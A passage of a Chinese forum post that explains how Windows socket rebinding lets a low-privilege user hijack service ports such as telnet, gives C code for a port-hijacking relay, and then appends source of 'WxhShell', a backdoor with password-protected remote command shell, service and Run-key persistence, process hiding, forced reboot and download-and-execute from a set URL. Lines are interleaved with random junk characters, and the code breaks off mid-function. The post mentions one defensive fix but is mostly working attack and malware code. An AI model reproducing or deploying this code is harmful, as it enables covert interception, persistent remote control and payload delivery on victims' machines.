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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: yx6^ mis4  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o1b.a*SZ  
g>'6"p;  
  saddr.sin_family = AF_INET; U3v~R4  
*f{4 _ts  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); V$;`#J$\b  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ol<LL#<j4  
mo= @Zt  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~k?t  
z|Xt'?9&n  
  这意味着什么?意味着可以进行如下的攻击:  G;A  
@{Fa=".Ch  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -em3 #V  
e8egxm  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gvo5^O+)HH  
eI|~neh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jGJf[:M&Pm  
QfM^J5j.M?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  i=M[$   
7Wiwnv_"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <5CQ#^ cK  
;eO Ye3;c  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 upJ y,|5  
sk~7"v{Y.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j.+,c#hFo  
KVViTpZ  
  #include L=s8em]7l  
  #include qEdY]t   
  #include 8 ?:W{GAo  
  #include    KK-+vq  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~EYdEqS)  
  int main() |c-`XC2g  
  { !4t%\N6Ib  
  WORD wVersionRequested; q?L*Luu+  
  DWORD ret; @ e7_&EGR?  
  WSADATA wsaData; xcJvXp  
  BOOL val; I9U 8@e!X  
  SOCKADDR_IN saddr; $D f1t  
  SOCKADDR_IN scaddr; "[Tr"nI  
  int err; \(5Bi3PA}  
  SOCKET s; }JT&lyO< b  
  SOCKET sc; l|9'l[}&  
  int caddsize; =aehhs>  
  HANDLE mt; W^3'9nYU  
  DWORD tid;   1'B=JyR~K  
  wVersionRequested = MAKEWORD( 2, 2 ); u/\Ipk/  
  err = WSAStartup( wVersionRequested, &wsaData ); jar?"o  
  if ( err != 0 ) { $ WWi2cI;  
  printf("error!WSAStartup failed!\n"); >g[Wnzf  
  return -1; qEkhgJqk  
  } rj5)b:c}  
  saddr.sin_family = AF_INET; PKs$Q=Ol<|  
   0upZ4eN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Mq6_Q07  
mj y+_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); z_z '3d.r7  
  saddr.sin_port = htons(23); Yc(lY N  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7G_lGV_  
  { 2L1Azx  
  printf("error!socket failed!\n"); hDEZq>&  
  return -1; qZSW5lC0  
  } 9AQ2FD  
  val = TRUE; } x'o`GuUf  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8EI&}I  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  6AmFl<  
  {  q0\$wI  
  printf("error!setsockopt failed!\n"); q{)Q ?E  
  return -1; jH4Wu`r;m  
  } K%vGfQ8Er-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; lHPhZ(Z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 a3(f\MM xE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `P9%[8`C 9  
c<qJs-C4;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) WJ]g7!Ks  
  { N{zou?+  
  ret=GetLastError(); \G1(r=fU  
  printf("error!bind failed!\n"); W{;LI WsZ  
  return -1; +;;pM[U  
  } w~*"mZaG  
  listen(s,2); *(<3 oIRS  
  while(1) . J*2J(T,  
  { o/\z4Ri)$  
  caddsize = sizeof(scaddr); z[_Gg8e  
  //接受连接请求 ,[Z;"wE  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); cNqw(\rr  
  if(sc!=INVALID_SOCKET) g/soop\:  
  { .w]S!=h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  '+C%]p  
  if(mt==NULL) %AuS8'Uf  
  { iD9hqiX&  
  printf("Thread Creat Failed!\n"); x68s$H  
  break; (*YENT}  
  } N DV_/BI  
  } r7p>`>_Q\  
  CloseHandle(mt); sQe>LNp,G  
  } "A9 c]  
  closesocket(s); _26F[R1><~  
  WSACleanup(); Ss7XjWP.}  
  return 0; <$ Ar*<,6  
  }   V]9 ?9-r  
  DWORD WINAPI ClientThread(LPVOID lpParam) Zx]"2U#  
  { %Gs!oD  
  SOCKET ss = (SOCKET)lpParam; !xK`:[B  
  SOCKET sc; )Hy|K1  
  unsigned char buf[4096]; ];go?.*C  
  SOCKADDR_IN saddr; |bz,cvlP W  
  long num; +<H)DPG<  
  DWORD val; re/l5v,|3  
  DWORD ret; 6y9#am?  
  //如果是隐藏端口应用的话,可以在此处加一些判断 g< {jgF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Kq';[Yc  
  saddr.sin_family = AF_INET; <&rvv4*H  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~dK)U*Q  
  saddr.sin_port = htons(23); DFt1{qS8@u  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SpY%2Y.Dy  
  { O(PG"c  
  printf("error!socket failed!\n"); /^\6q"'  
  return -1; !}^ {W)h[  
  } u1&pJLK0[  
  val = 100; x AD:Z "  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "tbKKh66  
  { `:A`%Fg8<  
  ret = GetLastError(); pRj1b^F5y  
  return -1; igsJa1F  
  } i9oi}$;J  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }4kd=]Nk  
  { T)]5k3{  
  ret = GetLastError(); MD S;qZx=  
  return -1; p/xxoU  
  } Nd*zSsVlq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AjK'P<:/  
  { `2?9eXC  
  printf("error!socket connect failed!\n"); Q%(LMq4UG  
  closesocket(sc); w7 ]@QTC  
  closesocket(ss); 8|w_PP1oE  
  return -1; <w.W[ak  
  } `bffw:; %  
  while(1) n9Z|69W6>  
  { @ Sw[+`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jYRwtP\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 }}v;V*_V  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |b52JF ",  
  num = recv(ss,buf,4096,0); s3W)hU)  
  if(num>0) o@r+Y  
  send(sc,buf,num,0); o64&BpCK  
  else if(num==0) <IGQBu#ZH  
  break; SqTO~zGC  
  num = recv(sc,buf,4096,0); J A ]s  
  if(num>0) T2 0dZ8{y  
  send(ss,buf,num,0); b}p0&%I  
  else if(num==0) _ pM&Ya  
  break; z{cIG8z  
  } O/>$kG%ge  
  closesocket(ss); T+m`a #  
  closesocket(sc); 6)kF!/J  
  return 0 ; C XZm/^  
  } IDb|J%e^P  
;$ =`BI)  
O2?ye4uq  
========================================================== iK1<4)  
J.mEOo!>  
下边附上一个代码,,WXhSHELL (t1:2WY@  
!dYkvoQNn  
========================================================== ? r=cLC  
~oh=QakW  
#include "stdafx.h" r>sk@[4h  
C".&m  
#include <stdio.h> =9GL;z:R+  
#include <string.h> {e A4y~k  
#include <windows.h> iV[g.sP-  
#include <winsock2.h> !-%i" a  
#include <winsvc.h> T+zZOI  
#include <urlmon.h> CeoK@y=o  
'H <?K  
#pragma comment (lib, "Ws2_32.lib") ?h"+q8&  
#pragma comment (lib, "urlmon.lib") bWo-( qxq  
V6?ku6k  
#define MAX_USER   100 // 最大客户端连接数 )V%xbDdS  
#define BUF_SOCK   200 // sock buffer mdR:XuRD"t  
#define KEY_BUFF   255 // 输入 buffer wP- pFc  
R$4&>VBu  
#define REBOOT     0   // 重启 deHhl(U;  
#define SHUTDOWN   1   // 关机 I4ZL +a  
Z!60n{T79c  
#define DEF_PORT   5000 // 监听端口 <ZxxlJS)6  
;(fDR8  
#define REG_LEN     16   // 注册表键长度 g8 ,V( ^  
#define SVC_LEN     80   // NT服务名长度 sH(4.36+  
3'8B rK  
// 从dll定义API nV ko]y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m+||t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); X"YH49?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DcE)6z#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {$)zC*l  
RrRrB"!8nR  
// wxhshell配置信息 N^pTj<M<g  
struct WSCFG { F]\(p=U.  
  int ws_port;         // 监听端口 os|8/[gT  
  char ws_passstr[REG_LEN]; // 口令 )4>M<BO  
  int ws_autoins;       // 安装标记, 1=yes 0=no @ |v4B[/  
  char ws_regname[REG_LEN]; // 注册表键名 O%;H#3kn&s  
  char ws_svcname[REG_LEN]; // 服务名 bO>q`%&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aa2&yc29hp  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %bgjJ`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eRc+.m[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no k'E3{8<!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Y m=ihQ|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b}< T<  
ma[%,u`  
}; L|.q19b*  
W~(@*H  
// default Wxhshell configuration X ptb4]  
struct WSCFG wscfg={DEF_PORT, iz!E1(z(  
    "xuhuanlingzhe", . >[d:0  
    1, |VxEW U/  
    "Wxhshell", Jn3cU  
    "Wxhshell", /|V!2dQs"  
            "WxhShell Service", gcDo o2RE  
    "Wrsky Windows CmdShell Service", @q:v?AO  
    "Please Input Your Password: ", ?,uTH 4  
  1, qpzzk9ba[  
  "http://www.wrsky.com/wxhshell.exe", 2(M^8Bl  
  "Wxhshell.exe" V}gP'f07zy  
    }; I,;@\  
,PC'xrEo  
// 消息定义模块 [mwJ*GJ-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %;ZWYj`]n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7R9.g6j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gq9IJ  
char *msg_ws_ext="\n\rExit."; pa4,W!t  
char *msg_ws_end="\n\rQuit."; W <.h@Rz+  
char *msg_ws_boot="\n\rReboot..."; !-%fCg(B  
char *msg_ws_poff="\n\rShutdown..."; k |}&  
char *msg_ws_down="\n\rSave to "; !_EL{/ko  
b{Srd3  
char *msg_ws_err="\n\rErr!"; =P'33) \ )  
char *msg_ws_ok="\n\rOK!"; + / s2;G  
4CAV)  
char ExeFile[MAX_PATH]; :sO^b*e /  
int nUser = 0; /I Ql  
HANDLE handles[MAX_USER]; j7r!N^  
int OsIsNt; LF o{,%B  
DXX(qk)6  
SERVICE_STATUS       serviceStatus; UrAg*v!Qy  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "s-e)svB  
:(IP rQ  
// 函数声明 0u0<)gdX  
int Install(void); X3nt*G1dL  
int Uninstall(void); 2hB';Dv  
int DownloadFile(char *sURL, SOCKET wsh); Q2^~^'Y k  
int Boot(int flag); e|Ip7`  
void HideProc(void); z3F ^OU   
int GetOsVer(void); O<}^`4d  
int Wxhshell(SOCKET wsl); Z)iRc$;  
void TalkWithClient(void *cs); 7\.Ax  
int CmdShell(SOCKET sock); ;=rMIi  
int StartFromService(void); 1-z*'Ghys  
int StartWxhshell(LPSTR lpCmdLine); oECM1'=Bf  
dU!`aPL?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iC U [X&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k:?+75?$  
2m`4B_g A  
// 数据结构和表定义 b0\'JZ  
SERVICE_TABLE_ENTRY DispatchTable[] = 8mjP2  
{ x.>E7 +  
{wscfg.ws_svcname, NTServiceMain}, m~K[+P  
{NULL, NULL} WA);Z=  
}; Salu[)+?  
]mU,y$IQ  
// 自我安装 ,+p&ZpH  
int Install(void) WIwbf|\  
{ dhW;|  
  char svExeFile[MAX_PATH]; o]NL_SM_  
  HKEY key; ^$][ah  
  strcpy(svExeFile,ExeFile); Q37VhScs  
DdI7%?hK  
// 如果是win9x系统,修改注册表设为自启动 "Y&+J@]  
if(!OsIsNt) { S"|sD|xOb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ivdw1g|)h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #Id.MLHxA_  
  RegCloseKey(key); vcB +h;x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]{9oB-;,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `92 D]^g  
  RegCloseKey(key); :oB4\/(G#  
  return 0; UQ|zSalv,  
    } %EPqJ(T  
  } lwH&4K  
} <$liWAGX\  
else { (PYUfiOf  
<!,q:[ee5  
// 如果是NT以上系统,安装为系统服务 BfOG e!Si  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #SY8Zv  
if (schSCManager!=0) @ ADY?  
{ K*J8(/WkD  
  SC_HANDLE schService = CreateService )!dELS \ix  
  ( Y6A]dk  
  schSCManager, QnxkD)f*0  
  wscfg.ws_svcname, ?xf59mY7  
  wscfg.ws_svcdisp, 3w )S=4lB  
  SERVICE_ALL_ACCESS, -b@E@uAX /  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >Z^7=5K"O  
  SERVICE_AUTO_START, 6,G^iv6H  
  SERVICE_ERROR_NORMAL, %9mCgHQ9  
  svExeFile, qn@Qd9Sf  
  NULL, pmCBe6n \l  
  NULL, X_ >B7(k   
  NULL, |~H'V4)zXu  
  NULL, G%YD2<V  
  NULL h Zlajky  
  ); ^ +{ ~ ^y7  
  if (schService!=0) ~s^&*KaA  
  { ?vRz}hiy  
  CloseServiceHandle(schService); +:&(Ag  
  CloseServiceHandle(schSCManager); C>68$wd>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ECkfFE`  
  strcat(svExeFile,wscfg.ws_svcname); glHag"(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jZv8X 5i  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B_5q}Bp<  
  RegCloseKey(key); *MagicA  
  return 0; 8gC(N3/E"  
    } #<'/s qL  
  } >^J!Z~;L)  
  CloseServiceHandle(schSCManager); P >N\q  
} s* 9tWSd  
} ;8 McG83  
=r0!-[XCa  
return 1; >Dtw^1i  
} Y_/Kd7,\~  
h]EXD   
// 自我卸载 Wq{'ZN  
int Uninstall(void) #gN{8Yk>  
{ ^|sxbP  
  HKEY key; D"x~bs?V\  
V$v;lvt^Uq  
if(!OsIsNt) { *R~oA`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P`bR;2o  
  RegDeleteValue(key,wscfg.ws_regname); D 0n2r  
  RegCloseKey(key); &H4UVI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T!a8c<'V  
  RegDeleteValue(key,wscfg.ws_regname); 1~`g fHI4  
  RegCloseKey(key); W' 2)$e  
  return 0; _^'k_ a  
  } *<0g/AL  
} NX=dx&i>+  
} gSe{ S  
else { Mvcl9  
@pS[_!EqYz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dJ&s/Z/>E  
if (schSCManager!=0) nVM`&azD  
{ un9o~3SF<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &YMVoyVD  
  if (schService!=0) cEQa 6  
  { Ol-'2l  
  if(DeleteService(schService)!=0) { 9=}/t9k  
  CloseServiceHandle(schService); #xo&#FIH  
  CloseServiceHandle(schSCManager); ,pG63&?j  
  return 0; hBqu,A  
  } JR>B<{xB  
  CloseServiceHandle(schService); 7> ]C2!  
  } >5gzo6j/  
  CloseServiceHandle(schSCManager); 6FmgK"t8  
} uJ y@  
} ge?ymaU$a  
^R$dG[Qf  
return 1; k %rP*b*  
} X5yhS  
5.E 2fX  
// 从指定url下载文件 0q;] ;m  
int DownloadFile(char *sURL, SOCKET wsh)  "O 'I  
{ _t[%@G>P  
  HRESULT hr; $3Ia+O   
char seps[]= "/"; 'ng/A4  
char *token; #lC{R^SL  
char *file; igL^k`&5^"  
char myURL[MAX_PATH]; U Oo(7  
char myFILE[MAX_PATH]; p[GyQ2k)  
KAzRFX),  
strcpy(myURL,sURL); }>:X|4]  
  token=strtok(myURL,seps); :F\f}G3  
  while(token!=NULL) "8]170  
  { el%Qxak`"  
    file=token; Oe!&Jma*>  
  token=strtok(NULL,seps); mx4*zj  
  } bW|y -GM  
Sx"I]N  
GetCurrentDirectory(MAX_PATH,myFILE); 8gxLL59  
strcat(myFILE, "\\"); qh 3f  
strcat(myFILE, file); A&'%ou  
  send(wsh,myFILE,strlen(myFILE),0); \#r_H9&s6  
send(wsh,"...",3,0); hdL2`5RFF  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g-}sVvM  
  if(hr==S_OK) M[{:o/]<  
return 0; DPx,qM#h5O  
else OEW,[d  
return 1; ~4<3`l=A  
mg(56)  
} eV0S:mit  
MvmP["%J4_  
// 系统电源模块 LH;G :  
int Boot(int flag) j[cjQ]>~'  
{ zY+Et.lg]^  
  HANDLE hToken; bn35f<+  
  TOKEN_PRIVILEGES tkp; Gf\_WNrSE+  
={ '($t%|T  
  if(OsIsNt) { R-fjxM*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bicL %I2h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "r"An"  
    tkp.PrivilegeCount = 1; |/;5|  z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5#\p>}[HG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ooSd6;'  
if(flag==REBOOT) { SGd.z6"H  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pNFIO t:(  
  return 0; qEr[fC@x  
} EIQy?ig86  
else { -%l, Zd9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J*X.0&Toc  
  return 0; 8]\h^k4f  
} %iC63)(M  
  } U&$]?3?  
  else { ,z )NKt#  
if(flag==REBOOT) { SVh4)}.x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7=A9E]:  
  return 0; *AR<DXE L  
} F$ p*G][  
else { d}cJ5 !d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G%R`)Z]8&  
  return 0; $ _Bu,;  
} D D;+& fe  
} @zF:{=+]+  
J4c4Os>3  
return 1; hg'!  
} q.[[ c  
$!!=fFX*y  
// win9x进程隐藏模块 )ZyuF(C&  
void HideProc(void) E(+wl  
{ S{7ik,Gdg  
S&]<;N_B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ND1%s &  
  if ( hKernel != NULL ) nL 07^6(  
  { A""*vqA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9Sl|l.;!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cYy @  
    FreeLibrary(hKernel); 7"NJraQ6  
  } )u/ ^aK53^  
#]a51Vss  
return; 4U;XqUY /  
} y{I[}$k  
aa%&&  
// 获取操作系统版本 @:QdCG+  
int GetOsVer(void) ?[1qC=[Z<  
{ S@zkoj@  
  OSVERSIONINFO winfo; o``>sBZOq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pW--^aHu  
  GetVersionEx(&winfo); F@'rP++4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) v;}`?@G  
  return 1; {!eANm'  
  else I&fh  
  return 0; akCo+ @  
} [gns8F#H\  
X8SRQO^  
// 客户端句柄模块 D<3V#Opw  
int Wxhshell(SOCKET wsl) ~& WN)r'4y  
{ LSu^#B  
  SOCKET wsh; DEQE7.]3q  
  struct sockaddr_in client; <RPoQ'.^  
  DWORD myID; O:^LQ  
Li-(p"  
  while(nUser<MAX_USER) mV*/zWh_  
{ -llx:  
  int nSize=sizeof(client); YyJ{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H~dHVQtJZ  
  if(wsh==INVALID_SOCKET) return 1; ^g-t#O lD?  
9kX=99kf[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [&pW&>p3  
if(handles[nUser]==0) uQu/(5  
  closesocket(wsh); hUT^V(  
else ZAX0n!db3  
  nUser++; d=Df.H+3  
  } #3Ej0"A@-B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h#m:Y~GoF  
6snOMa GRu  
  return 0; ]C ~1]7vb  
} Y%0d\{@a  
B?#kW!wj  
// 关闭 socket P wB g  
void CloseIt(SOCKET wsh) =%3b@}%HqS  
{ ![@T iM  
closesocket(wsh); EY)Gi`lK  
nUser--; F?8BS*r_  
ExitThread(0); UIf ZPf=  
} rXY;m-  
Jh43)#G-  
// 客户端请求句柄 &whX*IZ{  
void TalkWithClient(void *cs) jWXR__>.  
{ {eEC:[  
JYwyR++uo  
  SOCKET wsh=(SOCKET)cs; @GG(7r\/B  
  char pwd[SVC_LEN]; y7JZKtsFA  
  char cmd[KEY_BUFF]; |As2"1_f  
char chr[1]; nw0L1TP/J  
int i,j; (A29Z H  
g5[D&  
  while (nUser < MAX_USER) { wqlcLIJPR  
J;UBnCg  
if(wscfg.ws_passstr) { $s-9|Lbs`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iW|s|1mh3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kDzj%sm!  
  //ZeroMemory(pwd,KEY_BUFF); xMD rE?  
      i=0; %5JW< 9  
  while(i<SVC_LEN) { 4K9Rpm  
&P 8!]:  
  // 设置超时 {ITv&5?>  
  fd_set FdRead; ~{L.f94N  
  struct timeval TimeOut; [J0*+C9P*  
  FD_ZERO(&FdRead); fyI_  
  FD_SET(wsh,&FdRead); b'velj3A  
  TimeOut.tv_sec=8; ajn-KG!A  
  TimeOut.tv_usec=0; fO].e"}  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b5A Gk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,e9CJ~a  
AG]W O8f)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 31~hlp;  
  pwd=chr[0]; BlXX:aZv  
  if(chr[0]==0xd || chr[0]==0xa) { AD^X(rW  
  pwd=0; /b.$jnqL  
  break; ajW[eyX  
  } v btAq^1  
  i++; hM~eJv  
    } BBcj=]"_  
EMLx?JnP  
  // 如果是非法用户,关闭 socket ,Ij=b  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )8;{nqoC  
} |K%}}g[<e;  
9Uk(0A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;Xqn-R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n!a<:]b<  
UxyY<H~Wx  
while(1) { {VR`;  
Yv^p =-E  
  ZeroMemory(cmd,KEY_BUFF); \/!ZA[D|E\  
2B^~/T<\  
      // 自动支持客户端 telnet标准   R2l[Q){!  
  j=0; QZ&4:K+{  
  while(j<KEY_BUFF) { G]4OFz+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vv &BhIf3  
  cmd[j]=chr[0]; Km,*)X.-5  
  if(chr[0]==0xa || chr[0]==0xd) { 8W;2oQN7  
  cmd[j]=0; =L"^.c@  
  break; `m%:rE,  
  } l7z 6i*R  
  j++; 3qtr9NI  
    } JkU1daTe  
"}@i+oS  
  // 下载文件 n+HsQ]z.  
  if(strstr(cmd,"http://")) { %(`#A.yaE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); < W*xshn  
  if(DownloadFile(cmd,wsh)) yyP'Z~0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !2$ z *C2;  
  else dCeX}Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U'y,YtF@  
  } *_1[[~Aw  
  else { ^/dS>_gtHv  
i.y=8GxY  
    switch(cmd[0]) { 1 {Jb"  
  XKqK<!F  
  // 帮助 +{$QAjW(/  
  case '?': { vX;HC'%n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~zF2`.  
    break; 'eyJS`  
  } rk|a5-i  
  // 安装 7J|&U2}c  
  case 'i': { Gf0,RH+  
    if(Install()) DI1(`y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d"ZU y!a  
    else &:3Z.G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c2*`2qK#  
    break; qaVy.  
    } I%"'*7 U  
  // 卸载 zN~6HZ_:^  
  case 'r': { %}&(h/= e  
    if(Uninstall()) e;VIL 2|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }T.?c9l X  
    else aY)2eY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .A6lj).:  
    break; g%a|q~)  
    } A6{b?aQ  
  // 显示 wxhshell 所在路径 LA%bq_> f  
  case 'p': { Tycq1i^  
    char svExeFile[MAX_PATH]; 'O?~p55T  
    strcpy(svExeFile,"\n\r"); ;o-yQmdh  
      strcat(svExeFile,ExeFile); zhblLBpeE\  
        send(wsh,svExeFile,strlen(svExeFile),0); gSt`%  
    break; -*a?<ES`  
    } P"3*lk+w  
  // 重启 nSx]QREL!  
  case 'b': { [/ M`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); cz/Q/%j$/  
    if(Boot(REBOOT)) A],ooiq<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a9U_ug58  
    else { )]43R   
    closesocket(wsh); v jT( Q  
    ExitThread(0); v~|?3/{Q  
    } )G1P^WV4  
    break; Anm=*;*M`  
    } ^tH#YlV4>9  
  // 关机 I?Aj.{{$G%  
  case 'd': { ;GGK`V  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \qh *E#j  
